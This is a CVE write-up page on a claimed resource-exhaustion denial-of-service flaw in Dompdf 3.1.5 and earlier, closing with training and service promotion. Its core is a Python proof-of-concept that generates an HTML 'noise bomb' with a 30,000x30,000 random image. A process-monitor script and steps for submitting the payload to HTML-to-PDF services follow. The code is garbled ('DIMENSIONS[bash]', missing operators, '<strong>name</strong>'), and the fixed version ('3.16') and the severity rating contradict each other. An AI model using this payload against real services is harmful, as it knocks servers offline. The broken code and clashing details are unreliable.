Listen to this Post
How CVE-2026-59942 Works
Dompdf versions up to and including 3.1.5 are vulnerable to a Denial of Service (DoS) attack through resource exhaustion. An unauthenticated remote attacker can crash the PHP process by submitting a specially crafted HTML document that contains a single image with massive dimensions, such as 30,000 by 30,000 pixels.
The vulnerability stems from a flaw in how Dompdf handles oversized image bitmaps. While the library implements internal checks to validate image dimensions early in the parsing process, these checks can be bypassed. By using a high-entropy image—like random noise—encoded in Base64 and wrapped in specific CSS containers, an attacker can circumvent the initial validation.
The core issue is that the dimension validation occurs early, but the resource allocation for calculating the object’s bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. A high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When the `render()` function is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point.
This leads to 100% CPU saturation, as the rendering thread hangs indefinitely trying to process the pixel stream. The massive memory allocation, verified at approximately 1.2 GB for a single image, triggers a PHP Fatal Error (Allowed memory size exhausted) or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service. The following logs demonstrate successful exploitation of the resource exhaustion vulnerability.
This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. The issue has been fixed in version 3.16.
DailyCVE Form:
Platform: ……. Dompdf
Version: …….. 3.1.5 and prior
Vulnerability :…… Resource Exhaustion (DoS)
Severity: ……. Moderate (CVSS 7.5)
date: ………. July 28, 2026
Prediction: ….. August 2026
What Undercode Say:
Analytics:
The vulnerability is triggered by a crafted HTML document containing a high-entropy, Base64-encoded image with massive dimensions (e.g., 30,000×30,000 pixels) wrapped in a CSS container. The early dimension validation is bypassed, and the rendering phase attempts to allocate ~1.2 GB of memory and process 900 million individual pixels, causing 100% CPU saturation and PHP process termination.
Bash Commands and Codes:
The following Python script generates the malicious payload (exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os
DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"
def generate_noise_bomb():
print(f"[] Generating {DIMENSIONS[bash]}x{DIMENSIONS[bash]} High-Entropy Noise Bomb...")
random_bytes = os.urandom(DIMENSIONS[bash] DIMENSIONS[bash])
image = Image.frombytes('L', DIMENSIONS, random_bytes)
buffer = BytesIO()
image.save(buffer, format="PNG")
image_base64 = base64.b64encode(buffer.getvalue()).decode()
html_content = f"""
<html>
<body>
<div style="overflow:hidden; width:1px; height:1px;">
<img src="data:image/png;base64,{image_base64}">
</div>
<h1>PoC: Resource Exhaustion</h1>
</body>
</html>
"""
with open(OUTPUT_FILE, "w") as f:
f.write(html_content)
print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")
if <strong>name</strong> == "<strong>main</strong>":
generate_noise_bomb()
The following Python script monitors system resources during exploitation (monitor.py):
import psutil
import time
def start_monitoring():
print("[] Searching for PHP processes... (Press Ctrl+C to stop)")
try:
while True:
for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
if 'php' in proc.info['name'].lower():
try:
pid = proc.info['pid']
mem = proc.info['memory_info'].rss / (1024 1024)
cpu = proc.cpu_percent(interval=0.1)
print(f"\r[bash] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu:.2f}%", end="")
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
time.sleep(0.5)
except KeyboardInterrupt:
print("\n[!] Monitoring stopped.")
if <strong>name</strong> == "<strong>main</strong>":
start_monitoring()
To install the vulnerable version via Composer:
composer require dompdf/dompdf:3.1.5
How Exploit:
An attacker submits the generated `payload.html` to any application that converts user-supplied HTML to PDF using Dompdf v3.1.5 or prior. The application processes the image, triggering the resource exhaustion. The monitor script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, causing a complete Denial of Service on the web server.
Protection:
Upgrade Dompdf to version 3.16 or later, which contains the fix for this vulnerability. If immediate upgrade is not possible, implement input validation and sanitization to reject HTML containing images with excessive dimensions or high-entropy content. Additionally, consider using resource limits and monitoring to detect and mitigate abnormal CPU and memory usage patterns.
Impact:
A remote, unauthenticated attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. The attack requires no user interaction and can be executed with low complexity, making it a significant risk for affected systems.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
